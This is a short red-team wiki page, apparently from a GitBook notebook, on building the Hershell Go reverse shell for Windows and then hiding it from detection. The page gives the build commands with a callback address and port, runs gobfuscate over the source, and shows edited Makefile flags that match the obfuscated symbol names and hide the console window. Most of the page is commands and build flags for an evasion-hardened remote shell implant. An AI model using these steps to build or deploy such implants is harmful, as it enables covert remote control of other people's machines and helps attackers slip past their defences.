> For the complete documentation index, see [llms.txt](https://techbrunch.gitbook.io/workspace/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://techbrunch.gitbook.io/workspace/red-team/defense-evasion/obfuscating-hershell.md).

# Hershell

[Hershell](https://github.com/lesnuages/hershell) is a simple TCP reverse shell written in Go.

## Installing Hershell

```
go get github.com/lesnuages/hershell
cd $GOPATH/src/github.com/lesnuages/hershell/
make depends
make windows64 LHOST=192.168.0.12 LPORT=1234
```

## Obfuscating  Hershell

[gobfuscate](https://github.com/unixpickle/gobfuscate) obfuscate Go binaries and packages.

```
go get github.com/unixpickle/gobfuscate
gobfuscate -outdir github.com/lesnuages/hershell ./out
```

{% hint style="warning" %}
You will have to set the `GOOS` and `GOARCH` before running **gobfuscate** since it's using the default build profile otherwise it will takes only the Linux source files.
{% endhint %}

The Makefile also needs to be copied and edited:

```
LINUX_LDFLAGS=--ldflags "-X main.kephknbjcmclaiojcnoa=${LHOST}:${LPORT} -X main.eghlidmkekfibfjihlkg=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
WIN_LDFLAGS=--ldflags "-X main.kephknbjcmclaiojcnoa=${LHOST}:${LPORT} -X main.eghlidmkekfibfjihlkg=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui"
```
